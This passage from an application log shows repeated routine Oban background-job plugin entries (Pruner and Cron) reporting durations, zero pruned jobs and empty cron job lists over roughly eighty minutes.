{"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.152 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:09:18.497 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:48.498 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.153 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:10:18.499 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:48.500 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.154 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:11:18.502 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:48.504 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.155 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:12:18.505 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:48.506 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.156 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:13:18.507 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:48.508 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.157 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:14:18.510 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:48.511 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.158 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:15:18.512 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:48.513 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.159 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:16:18.514 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:48.515 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.160 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:17:18.517 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:48.518 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.161 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:18:18.519 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:48.520 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.162 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:19:18.521 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:48.523 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.163 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:20:18.524 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:48.525 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.164 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:21:18.527 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:48.529 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.165 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:22:18.531 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:48.532 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.166 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:23:18.533 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:48.534 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.167 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:24:18.535 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:48.536 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.168 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:25:18.537 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:48.539 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.169 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:26:18.541 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:48.543 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.170 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:27:18.544 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:48.545 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.171 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:28:18.546 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:48.547 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.172 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:29:18.548 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:48.549 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.173 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:30:18.550 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:48.551 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.174 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:31:18.552 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:48.553 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.175 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:32:18.554 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:48.555 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.176 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:33:18.556 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:48.557 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.177 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:34:18.559 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:48.560 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.178 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:35:18.561 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:48.563 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.179 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:36:18.564 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:48.565 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.180 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:37:18.566 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:48.568 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.181 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:38:18.569 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:48.571 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.182 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:39:18.572 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:48.574 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.183 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:40:18.575 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:48.576 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.184 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:41:18.577 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:48.578 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.186 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:42:18.580 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:48.581 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.186 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:43:18.582 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:48.583 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.187 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:44:18.584 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:48.585 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.188 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:45:18.586 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:48.588 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.189 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:46:18.589 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:48.591 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.190 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:47:18.592 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:48.593 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.191 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:48:18.594 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:48.595 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.192 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:49:18.596 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:48.597 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.193 [info] {"source":"oban","duration":431,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:50:18.598 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:48.599 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.194 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:51:18.600 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:48.602 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.195 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:52:18.604 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:48.605 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.197 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:53:18.606 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:48.607 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.197 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:54:18.609 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:48.611 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.198 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:55:18.613 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:48.615 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.199 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:56:18.617 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:48.618 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.200 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:57:18.619 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:48.620 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.202 [info] {"source":"oban","duration":337,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:58:18.621 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:48.623 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.202 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:59:18.624 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:48.625 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.203 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:00:18.626 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:48.627 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.204 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:01:18.628 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:48.630 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.205 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:02:18.631 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:48.633 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.206 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:03:18.634 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:48.635 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.207 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:04:18.636 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:48.638 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.208 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:05:18.639 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:48.640 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.209 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:06:18.642 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:48.643 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.210 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:07:18.644 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:48.645 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.211 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:08:18.646 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:48.647 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.212 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:09:18.648 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:48.649 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.214 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:10:18.651 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:48.652 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.214 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:11:18.653 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:48.655 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.215 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:12:18.657 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:48.658 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.216 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:13:18.659 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:48.660 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.218 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:14:18.661 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:48.663 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.218 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:15:18.665 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:48.666 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.219 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:16:18.667 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:48.668 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.220 [info] {"source":"oban","duration":278,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:17:18.669 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:48.670 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.221 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:18:18.671 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:48.672 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.222 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:19:18.673 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:48.674 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.223 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:20:18.676 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:48.677 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.224 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:21:18.678 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:48.679 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.225 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:22:18.680 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:48.682 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.226 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:23:18.683 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:48.684 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.227 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:24:18.686 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:48.687 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.228 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:25:18.688 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:48.689 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.229 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:26:18.690 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:48.692 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.230 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:27:18.693 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:48.694 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.231 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:28:18.695 [info] 